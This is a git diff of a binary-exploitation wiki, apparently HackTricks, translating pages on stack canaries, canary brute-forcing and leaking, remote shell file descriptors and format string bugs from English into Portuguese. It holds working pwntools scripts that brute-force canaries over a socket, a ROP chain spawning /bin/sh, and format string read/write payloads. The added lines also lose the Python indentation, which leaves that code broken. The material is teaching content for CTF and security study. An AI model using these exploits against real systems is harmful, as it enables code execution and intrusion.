endereços de retorno armazenados e os reais para detectar ocorrências de estouro. Além disso, o StackShield pode verificar o endereço de retorno contra um valor limite para detectar se o **EIP** aponta fora do espaço de dados esperado. No entanto, essa proteção pode ser contornada por técnicas como Return-to-libc, ROP (Return-Oriented Programming), ou ret2ret, indicando que o StackShield também não protege variáveis locais. ## **Stack Smash Protector (ProPolice) `-fstack-protector`:** -This mechanism places a **canary** before the **EBP**, and reorganizes local variables to position buffers at higher memory addresses, preventing them from overwriting other variables. It also securely copies arguments passed on the stack above local variables and uses these copies as arguments. However, it does not protect arrays with fewer than 8 elements or buffers within a user's structure. +Esse mecanismo coloca um **canário** antes do **EBP**, e reorganiza variáveis locais para posicionar buffers em endereços de memória mais altos, impedindo que eles sobrescrevam outras variáveis. Ele também copia de forma segura os argumentos passados na pilha acima das variáveis locais e usa essas cópias como argumentos. No entanto, não protege arrays com menos de 8 elementos ou buffers dentro de uma estrutura de usuário. -The **canary** is a random number derived from `/dev/urandom` or a default value of `0xff0a0000`. It is stored in **TLS (Thread Local Storage)**, allowing shared memory spaces across threads to have thread-specific global or static variables. These variables are initially copied from the parent process, and child processes can alter their data without affecting the parent or siblings. Nevertheless, if a **`fork()` is used without creating a new canary, all processes (parent and children) share the same canary**, making it vulnerable. On the **i386** architecture, the canary is stored at `gs:0x14`, and on **x86_64**, at `fs:0x28`. +O **canário** é um número aleatório derivado de `/dev/urandom` ou um valor padrão de `0xff0a0000`. Ele é armazenado em **TLS (Thread Local Storage)**, permitindo que espaços de memória compartilhados entre threads tenham variáveis globais ou estáticas específicas da thread. Essas variáveis são inicialmente copiadas do processo pai, e os processos filhos podem alterar seus dados sem afetar o pai ou irmãos. No entanto, se um **`fork()` for usado sem criar um novo canário, todos os processos (pai e filhos) compartilham o mesmo canário**, tornando-o vulnerável. Na arquitetura **i386**, o canário é armazenado em `gs:0x14`, e em **x86_64**, em `fs:0x28`. -This local protection identifies functions with buffers vulnerable to attacks and injects code at the start of these functions to place the canary, and at the end to verify its integrity. +Essa proteção local identifica funções com buffers vulneráveis a ataques e injeta código no início dessas funções para colocar o canário, e no final para verificar sua integridade. -When a web server uses `fork()`, it enables a brute-force attack to guess the canary byte by byte. However, using `execve()` after `fork()` overwrites the memory space, negating the attack. `vfork()` allows the child process to execute without duplication until it attempts to write, at which point a duplicate is created, offering a different approach to process creation and memory handling. +Quando um servidor web usa `fork()`, ele permite um ataque de força bruta para adivinhar o canário byte a byte. No entanto, usar `execve()` após `fork()` sobrescreve o espaço de memória, negando o ataque. `vfork()` permite que o processo filho execute sem duplicação até que tente escrever, momento em que uma duplicata é criada, oferecendo uma abordagem diferente para a criação de processos e manipulação de memória. -### Lengths +### Comprimentos -In `x64` binaries, the canary cookie is an **`0x8`** byte qword. The **first seven bytes are random** and the last byte is a **null byte.** +Em binários `x64`, o cookie do canário é um **`0x8`** byte qword. Os **primeiros sete bytes são aleatórios** e o último byte é um **byte nulo.** -In `x86` binaries, the canary cookie is a **`0x4`** byte dword. The f**irst three bytes are random** and the last byte is a **null byte.** +Em binários `x86`, o cookie do canário é um **`0x4`** byte dword. Os **primeiros três bytes são aleatórios** e o último byte é um **byte nulo.** > [!CAUTION] -> The least significant byte of both canaries is a null byte because it'll be the first in the stack coming from lower addresses and therefore **functions that read strings will stop before reading it**. +> O byte menos significativo de ambos os canários é um byte nulo porque será o primeiro na pilha vindo de endereços mais baixos e, portanto, **funções que leem strings pararão antes de lê-lo**. ## Bypasses -**Leaking the canary** and then overwriting it (e.g. buffer overflow) with its own value. +**Vazar o canário** e depois sobrescrevê-lo (por exemplo, estouro de buffer) com seu próprio valor. -- If the **canary is forked in child processes** it might be possible to **brute-force** it one byte at a time: +- Se o **canário for forkado em processos filhos**, pode ser possível **forçar** um byte de cada vez: {{#ref}} bf-forked-stack-canaries.md {{#endref}} -- If there is some interesting **leak or arbitrary read vulnerability** in the binary it might be possible to leak it: +- Se houver algum **vazamento interessante ou vulnerabilidade de leitura arbitrária** no binário, pode ser possível vazá-lo: {{#ref}} print-stack-canary.md {{#endref}} -- **Overwriting stack stored pointers** +- **Sobrescrevendo ponteiros armazenados na pilha** -The stack vulnerable to a stack overflow might **contain addresses to strings or functions that can be overwritten** in order to exploit the vulnerability without needing to reach the stack canary. Check: +A pilha vulnerável a um estouro de pilha pode **contém endereços para strings ou funções que podem ser sobrescritos** para explorar a vulnerabilidade sem precisar alcançar o canário da pilha. Verifique: {{#ref}} ../../stack-overflow/pointer-redirecting.md {{#endref}} -- **Modifying both master and thread canary** +- **Modificando tanto o canário mestre quanto o da thread** -A buffer **overflow in a threaded function** protected with canary can be used to **modify the master canary of the thread**. As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified). +Um estouro de buffer em uma função com threads protegida com canário pode ser usado para **modificar o canário mestre da thread**. Como resultado, a mitigação é inútil porque a verificação é feita com dois canários que são os mesmos (embora modificados). -Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\ -As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\ -This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) +Além disso, um estouro de buffer em uma função com threads protegida com canário poderia ser usado para **modificar o canário mestre armazenado no TLS**. Isso ocorre porque pode ser possível alcançar a posição de memória onde o TLS é armazenado (e, portanto, o canário) via um **bof na pilha** de uma thread.\ +Como resultado, a mitigação é inútil porque a verificação é feita com dois canários que são os mesmos (embora modificados).\ +Esse ataque é realizado na descrição: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) -Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup. +Verifique também a apresentação de [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) que menciona que geralmente o **TLS** é armazenado por **`mmap`** e quando uma **pilha** de **thread** é criada, ela também é gerada por `mmap`, de acordo com isso, o que pode permitir o estouro como mostrado na descrição anterior. -- **Modify the GOT entry of `__stack_chk_fail`** +- **Modificar a entrada GOT de `__stack_chk_fail`** -If the binary has Partial RELRO, then you can use an arbitrary write to modify the **GOT entry of `__stack_chk_fail`** to be a dummy function that does not block the program if the canary gets modified. +Se o binário tiver Partial RELRO, então você pode usar uma escrita arbitrária para modificar a **entrada GOT de `__stack_chk_fail`** para ser uma função dummy que não bloqueia o programa se o canário for modificado. -This attack is performed in the writeup: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) +Esse ataque é realizado na descrição: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) -## References +## Referências - [https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html) - [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md index 89eee29ec..0a20583af 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md @@ -2,55 +2,54 @@ {{#include ../../../banners/hacktricks-training.md}} -**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.** +**Se você está enfrentando um binário protegido por um canário e PIE (Executable Independente de Posição), provavelmente precisa encontrar uma maneira de contorná-los.** ![](<../../../images/image (865).png>) > [!NOTE] -> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\ -> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting. +> Note que **`checksec`** pode não encontrar que um binário está protegido por um canário se este foi compilado estaticamente e não é capaz de identificar a função.\ +> No entanto, você pode notar isso manualmente se descobrir que um valor é salvo na pilha no início de uma chamada de função e esse valor é verificado antes de sair. ## Brute force Canary -The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**. +A melhor maneira de contornar um canário simples é se o binário for um programa **que cria processos filhos toda vez que você estabelece uma nova conexão** com ele (serviço de rede), porque toda vez que você se conecta a ele **o mesmo canário será usado**. -Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**): +Então, a melhor maneira de contornar o canário é apenas **forçá-lo brute-force caractere por caractere**, e você pode descobrir se o byte do canário adivinhado estava correto verificando se o programa travou ou continua seu fluxo regular. Neste exemplo, a função **força um canário de 8 Bytes (x64)** e distingue entre um byte adivinhado corretamente e um byte ruim apenas **verificando** se uma **resposta** é enviada de volta pelo servidor (outra maneira em **outra situação** poderia ser usando um **try/except**): -### Example 1 - -This example is implemented for 64bits but could be easily implemented for 32 bits. +### Exemplo 1 +Este exemplo é implementado para 64 bits, mas poderia ser facilmente implementado para 32 bits. ```python from pwn import * def connect(): - r = remote("localhost", 8788) +r = remote("localhost", 8788) def get_bf(base): - canary = "" - guess = 0x0 - base += canary +canary = "" +guess = 0x0 +base += canary - while len(canary) < 8: - while guess != 0xff: - r = connect() +while len(canary) < 8: +while guess != 0xff: +r = connect() - r.recvuntil("Username: ") - r.send(base + chr(guess)) +r.recvuntil("Username: ") +r.send(base + chr(guess)) - if "SOME OUTPUT" in r.clean(): - print "Guessed correct byte:", format(guess, '02x') - canary += chr(guess) - base += chr(guess) - guess = 0x0 - r.close() - break - else: - guess += 1 - r.close() +if "SOME OUTPUT" in r.clean(): +print "Guessed correct byte:", format(guess, '02x') +canary += chr(guess) +base += chr(guess) +guess = 0x0 +r.close() +break +else: +guess += 1 +r.close() - print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) - return base +print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) +return base canary_offset = 1176 base = "A" * canary_offset @@ -58,43 +57,41 @@ print("Brute-Forcing canary") base_canary = get_bf(base) #Get yunk data + canary CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary ``` +### Exemplo 2 -### Example 2 - -This is implemented for 32 bits, but this could be easily changed to 64bits.\ -Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload. - +Isso é implementado para 32 bits, mas isso pode ser facilmente alterado para 64 bits.\ +Também note que para este exemplo o **programa esperava primeiro um byte para indicar o tamanho da entrada** e o payload. ```python from pwn import * # Here is the function to brute force the canary def breakCanary(): - known_canary = b"" - test_canary = 0x0 - len_bytes_to_read = 0x21 +known_canary = b"" +test_canary = 0x0 +len_bytes_to_read = 0x21 - for j in range(0, 4): - # Iterate up to 0xff times to brute force all posible values for byte - for test_canary in range(0xff): - print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="") +for j in range(0, 4): +# Iterate up to 0xff times to brute force all posible values for byte +for test_canary in range(0xff): +print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="") - # Send the current input size - target.send(len_bytes_to_read.to_bytes(1, "little")) +# Send the current input size +target.send(len_bytes_to_read.to_bytes(1, "little")) - # Send this iterations canary - target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little")) +# Send this iterations canary +target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little")) - # Scan in the output, determine if we have a correct value - output = target.recvuntil(b"exit.") - if b"YUM" in output: - # If we have a correct value, record the canary value, reset the canary value, and move on - print(" - next byte is: " + hex(test_canary)) - known_canary = known_canary + test_canary.to_bytes(1, "little") - len_bytes_to_read += 1 - break +# Scan in the output, determine if we have a correct value +output = target.recvuntil(b"exit.") +if b"YUM" in output: +# If we have a correct value, record the canary value, reset the canary value, and move on +print(" - next byte is: " + hex(test_canary)) +known_canary = known_canary + test_canary.to_bytes(1, "little") +len_bytes_to_read += 1 +break - # Return the canary - return known_canary +# Return the canary +return known_canary # Start the target process target = process('./feedme') @@ -104,18 +101,17 @@ target = process('./feedme') canary = breakCanary() log.info(f"The canary is: {canary}") ``` - ## Threads -Threads of the same process will also **share the same canary token**, therefore it'll be possible to **brute-forc**e a canary if the binary spawns a new thread every time an attack happens. +Threads do mesmo processo também **compartilharão o mesmo token canário**, portanto será possível **forçar um canário** se o binário gerar uma nova thread toda vez que um ataque acontecer. -Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\ -As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\ -This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) +Além disso, um **overflow de buffer em uma função com threads** protegida com canário poderia ser usado para **modificar o canário mestre armazenado no TLS**. Isso ocorre porque pode ser possível alcançar a posição de memória onde o TLS está armazenado (e, portanto, o canário) através de um **bof na pilha** de uma thread.\ +Como resultado, a mitigação é inútil porque a verificação é usada com dois canários que são iguais (embora modificados).\ +Este ataque é realizado na descrição: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) -Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup. +Confira também a apresentação de [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) que menciona que geralmente o **TLS** é armazenado por **`mmap`** e quando uma **pilha** de **thread** é criada, ela também é gerada por `mmap`, de acordo com isso, o que pode permitir o overflow como mostrado na descrição anterior. ## Other examples & references - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) - - 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there. +- 64 bits, no PIE, nx, BF canary, escreva em alguma memória um ROP para chamar `execve` e pule lá. diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md index e4d3eed44..d01b3d111 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md @@ -2,32 +2,32 @@ {{#include ../../../banners/hacktricks-training.md}} -## Enlarge printed stack +## Aumentar a pilha impressa -Imagine a situation where a **program vulnerable** to stack overflow can execute a **puts** function **pointing** to **part** of the **stack overflow**. The attacker knows that the **first byte of the canary is a null byte** (`\x00`) and the rest of the canary are **random** bytes. Then, the attacker may create an overflow that **overwrites the stack until just the first byte of the canary**. +Imagine uma situação onde um **programa vulnerável** a estouro de pilha pode executar uma função **puts** **apontando** para **parte** do **estouro de pilha**. O atacante sabe que o **primeiro byte do canário é um byte nulo** (`\x00`) e o restante do canário são **bytes aleatórios**. Então, o atacante pode criar um estouro que **sobrescreve a pilha até apenas o primeiro byte do canário**. -Then, the attacker **calls the puts functionalit**y on the middle of the payload which will **print all the canary** (except from the first null byte). +Em seguida, o atacante **chama a funcionalidade puts** no meio do payload que irá **imprimir todo o canário** (exceto pelo primeiro byte nulo). -With this info the attacker can **craft and send a new attack** knowing the canary (in the same program session). +Com essa informação, o atacante pode **elaborar e enviar um novo ataque** conhecendo o canário (na mesma sessão do programa). -Obviously, this tactic is very **restricted** as the attacker needs to be able to **print** the **content** of his **payload** to **exfiltrate** the **canary** and then be able to create a new payload (in the **same program session**) and **send** the **real buffer overflow**. +Obviamente, essa tática é muito **restrita** já que o atacante precisa ser capaz de **imprimir** o **conteúdo** de seu **payload** para **exfiltrar** o **canário** e então ser capaz de criar um novo payload (na **mesma sessão do programa**) e **enviar** o **verdadeiro estouro de buffer**. -**CTF examples:** +**Exemplos de CTF:** - [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) - - 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')` +- 64 bits, ASLR habilitado mas sem PIE, o primeiro passo é preencher um estouro até o byte 0x00 do canário para então chamar puts e vazá-lo. Com o canário, um gadget ROP é criado para chamar puts e vazar o endereço de puts do GOT e um gadget ROP para chamar `system('/bin/sh')` - [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html) - - 32 bit, ARM, no relro, canary, nx, no pie. Overflow with a call to puts on it to leak the canary + ret2lib calling `system` with a ROP chain to pop r0 (arg `/bin/sh`) and pc (address of system) +- 32 bits, ARM, sem relro, canário, nx, sem pie. Estouro com uma chamada para puts nele para vazar o canário + ret2lib chamando `system` com uma cadeia ROP para pop r0 (arg `/bin/sh`) e pc (endereço de system) -## Arbitrary Read +## Leitura Arbitrária -With an **arbitrary read** like the one provided by format **strings** it might be possible to leak the canary. Check this example: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) and you can read about abusing format strings to read arbitrary memory addresses in: +Com uma **leitura arbitrária** como a fornecida por **strings** de formato, pode ser possível vazar o canário. Confira este exemplo: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) e você pode ler sobre abusar de strings de formato para ler endereços de memória arbitrários em: {{#ref}} ../../format-strings/ {{#endref}} - [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html) - - This challenge abuses in a very simple way a format string to read the canary from the stack +- Este desafio abusa de uma maneira muito simples uma string de formato para ler o canário da pilha {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-exploiting-problems.md b/src/binary-exploitation/common-exploiting-problems.md index 1aaf06372..eb62e89b3 100644 --- a/src/binary-exploitation/common-exploiting-problems.md +++ b/src/binary-exploitation/common-exploiting-problems.md @@ -1,15 +1,14 @@ -# Common Exploiting Problems +# Problemas Comuns de Exploração {{#include ../banners/hacktricks-training.md}} -## FDs in Remote Exploitation +## FDs na Exploração Remota -When sending an exploit to a remote server that calls **`system('/bin/sh')`** for example, this will be executed in the server process ofc, and `/bin/sh` will expect input from stdin (FD: `0`) and will print the output in stdout and stderr (FDs `1` and `2`). So the attacker won't be able to interact with the shell. +Ao enviar um exploit para um servidor remoto que chama **`system('/bin/sh')`**, por exemplo, isso será executado no processo do servidor, e `/bin/sh` esperará entrada do stdin (FD: `0`) e imprimirá a saída no stdout e stderr (FDs `1` e `2`). Assim, o atacante não poderá interagir com o shell. -A way to fix this is to suppose that when the server started it created the **FD number `3`** (for listening) and that then, your connection is going to be in the **FD number `4`**. Therefore, it's possible to use the syscall **`dup2`** to duplicate the stdin (FD 0) and the stdout (FD 1) in the FD 4 (the one of the connection of the attacker) so it'll make feasible to contact the shell once it's executed. - -[**Exploit example from here**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit): +Uma maneira de corrigir isso é supor que, quando o servidor foi iniciado, ele criou o **FD número `3`** (para escuta) e que, em seguida, sua conexão estará no **FD número `4`**. Portanto, é possível usar a syscall **`dup2`** para duplicar o stdin (FD 0) e o stdout (FD 1) no FD 4 (o da conexão do atacante), tornando viável contatar o shell uma vez que ele seja executado. +[**Exemplo de exploit daqui**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit): ```python from pwn import * @@ -26,13 +25,12 @@ p.sendline(rop.chain()) p.recvuntil('Thanks!\x00') p.interactive() ``` - ## Socat & pty -Note that socat already transfers **`stdin`** and **`stdout`** to the socket. However, the `pty` mode **include DELETE characters**. So, if you send a `\x7f` ( `DELETE` -)it will **delete the previous character** of your exploit. +Note que o socat já transfere **`stdin`** e **`stdout`** para o socket. No entanto, o modo `pty` **inclui caracteres DELETE**. Portanto, se você enviar um `\x7f` ( `DELETE` -) ele **deletará o caractere anterior** do seu exploit. -In order to bypass this the **escape character `\x16` must be prepended to any `\x7f` sent.** +Para contornar isso, o **caractere de escape `\x16` deve ser precedido a qualquer `\x7f` enviado.** -**Here you can** [**find an example of this behaviour**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.** +**Aqui você pode** [**encontrar um exemplo desse comportamento**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.** {{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/format-strings/README.md b/src/binary-exploitation/format-strings/README.md index 3d7bfa018..fec9a5904 100644 --- a/src/binary-exploitation/format-strings/README.md +++ b/src/binary-exploitation/format-strings/README.md @@ -2,22 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -
- -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). - -{% embed url="https://www.stmcyber.com/careers" %} - ## Basic Information -In C **`printf`** is a function that can be used to **print** some string. The **first parameter** this function expects is the **raw text with the formatters**. The **following parameters** expected are the **values** to **substitute** the **formatters** from the raw text. +Em C **`printf`** é uma função que pode ser usada para **imprimir** alguma string. O **primeiro parâmetro** que esta função espera é o **texto bruto com os formatadores**. Os **parâmetros seguintes** esperados são os **valores** para **substituir** os **formatadores** do texto bruto. -Other vulnerable functions are **`sprintf()`** and **`fprintf()`**. +Outras funções vulneráveis são **`sprintf()`** e **`fprintf()`**. -The vulnerability appears when an **attacker text is used as the first argument** to this function. The attacker will be able to craft a **special input abusing** the **printf format** string capabilities to read and **write any data in any address (readable/writable)**. Being able this way to **execute arbitrary code**. +A vulnerabilidade aparece quando um **texto de atacante é usado como o primeiro argumento** para esta função. O atacante será capaz de criar uma **entrada especial abusando** das capacidades da **string de formato printf** para ler e **escrever qualquer dado em qualquer endereço (legível/escrevível)**. Sendo capaz assim de **executar código arbitrário**. #### Formatters: - ```bash %08x —> 8 hex bytes %d —> Entire @@ -28,72 +21,58 @@ The vulnerability appears when an **attacker text is used as the first argument* %hn —> Occupies 2 bytes instead of 4 $X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3 ``` +**Exemplos:** -**Examples:** - -- Vulnerable example: - +- Exemplo vulnerável: ```c char buffer[30]; gets(buffer); // Dangerous: takes user input without restrictions. printf(buffer); // If buffer contains "%x", it reads from the stack. ``` - -- Normal Use: - +- Uso Normal: ```c int value = 1205; printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 ``` - -- With Missing Arguments: - +- Com Argumentos Faltando: ```c printf("%x %x %x", value); // Unexpected output: reads random values from the stack. ``` - -- fprintf vulnerable: - +- fprintf vulnerável: ```c #include int main(int argc, char *argv[]) { - char *user_input; - user_input = argv[1]; - FILE *output_file = fopen("output.txt", "w"); - fprintf(output_file, user_input); // The user input can include formatters! - fclose(output_file); - return 0; +char *user_input; +user_input = argv[1]; +FILE *output_file = fopen("output.txt", "w"); +fprintf(output_file, user_input); // The user input can include formatters! +fclose(output_file); +return 0; } ``` +### **Acessando Ponteiros** -### **Accessing Pointers** - -The format **`%$x`**, where `n` is a number, allows to indicate to printf to select the n parameter (from the stack). So if you want to read the 4th param from the stack using printf you could do: - +O formato **`%$x`**, onde `n` é um número, permite indicar ao printf para selecionar o n-ésimo parâmetro (da pilha). Então, se você quiser ler o 4º parâmetro da pilha usando printf, você poderia fazer: ```c printf("%x %x %x %x") ``` +e você leria do primeiro ao quarto parâmetro. -and you would read from the first to the forth param. - -Or you could do: - +Ou você poderia fazer: ```c printf("%4$x") ``` +e leia diretamente o quarto. -and read directly the forth. - -Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack. +Observe que o atacante controla o parâmetro `printf`, **o que basicamente significa que** sua entrada estará na pilha quando `printf` for chamado, o que significa que ele poderia escrever endereços de memória específicos na pilha. > [!CAUTION] -> An attacker controlling this input, will be able to **add arbitrary address in the stack and make `printf` access them**. In the next section it will be explained how to use this behaviour. +> Um atacante controlando essa entrada, será capaz de **adicionar endereços arbitrários na pilha e fazer com que `printf` os acesse**. Na próxima seção, será explicado como usar esse comportamento. -## **Arbitrary Read** - -It's possible to use the formatter **`%n$s`** to make **`printf`** get the **address** situated in the **n position**, following it and **print it as if it was a string** (print until a 0x00 is found). So if the base address of the binary is **`0x8048000`**, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with: +## **Leitura Arbitrária** +É possível usar o formatador **`%n$s`** para fazer com que **`printf`** obtenha o **endereço** situado na **n posição**, seguindo-o e **imprimí-lo como se fosse uma string** (imprimir até que um 0x00 seja encontrado). Então, se o endereço base do binário for **`0x8048000`**, e sabemos que a entrada do usuário começa na 4ª posição na pilha, é possível imprimir o início do binário com: ```python from pwn import * @@ -106,18 +85,16 @@ payload += p32(0x8048000) #6th param p.sendline(payload) log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' ``` - > [!CAUTION] -> Note that you cannot put the address 0x8048000 at the beginning of the input because the string will be cat in 0x00 at the end of that address. +> Note que você não pode colocar o endereço 0x8048000 no início da entrada porque a string será cortada em 0x00 no final desse endereço. -### Find offset +### Encontrar offset -To find the offset to your input you could send 4 or 8 bytes (`0x41414141`) followed by **`%1$x`** and **increase** the value till retrieve the `A's`. +Para encontrar o offset da sua entrada, você pode enviar 4 ou 8 bytes (`0x41414141`) seguidos de **`%1$x`** e **aumentar** o valor até recuperar os `A's`.
Brute Force printf offset - ```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak @@ -125,88 +102,82 @@ from pwn import * # Iterate over a range of integers for i in range(10): - # Construct a payload that includes the current integer as offset - payload = f"AAAA%{i}$x".encode() +# Construct a payload that includes the current integer as offset +payload = f"AAAA%{i}$x".encode() - # Start a new process of the "chall" binary - p = process("./chall") +# Start a new process of the "chall" binary +p = process("./chall") - # Send the payload to the process - p.sendline(payload) +# Send the payload to the process +p.sendline(payload) - # Read and store the output of the process - output = p.clean() +# Read and store the output of the process +output = p.clean() - # Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output - if b"41414141" in output: - # If the string is found, log the success message and break out of the loop - log.success(f"User input is at offset : {i}") - break +# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output +if b"41414141" in output: +# If the string is found, log the success message and break out of the loop +log.success(f"User input is at offset : {i}") +break - # Close the process - p.close() +# Close the process +p.close() ``` -
-### How useful +### Quão útil -Arbitrary reads can be useful to: +Leituras arbitrárias podem ser úteis para: -- **Dump** the **binary** from memory -- **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) +- **Despejar** o **binário** da memória +- **Acessar partes específicas da memória onde informações sensíveis** **são** armazenadas (como canários, chaves de criptografia ou senhas personalizadas, como neste [**desafio CTF**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) -## **Arbitrary Write** +## **Escrita Arbitrária** -The formatter **`%$n`** **writes** the **number of written bytes** in the **indicated address** in the \ param in the stack. If an attacker can write as many char as he will with printf, he is going to be able to make **`%$n`** write an arbitrary number in an arbitrary address. - -Fortunately, to write the number 9999, it's not needed to add 9999 "A"s to the input, in order to so so it's possible to use the formatter **`%.%$n`** to write the number **``** in the **address pointed by the `num` position**. +O formatador **`%$n`** **escreve** o **número de bytes escritos** no **endereço indicado** no parâmetro \ na pilha. Se um atacante puder escrever quantos caracteres quiser com printf, ele será capaz de fazer **`%$n`** escrever um número arbitrário em um endereço arbitrário. +Felizmente, para escrever o número 9999, não é necessário adicionar 9999 "A"s à entrada; para isso, é possível usar o formatador **`%.%$n`** para escrever o número **``** no **endereço apontado pela posição `num`**. ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` +No entanto, note que geralmente, para escrever um endereço como `0x08049724` (que é um NÚMERO ENORME para escrever de uma vez), **usa-se 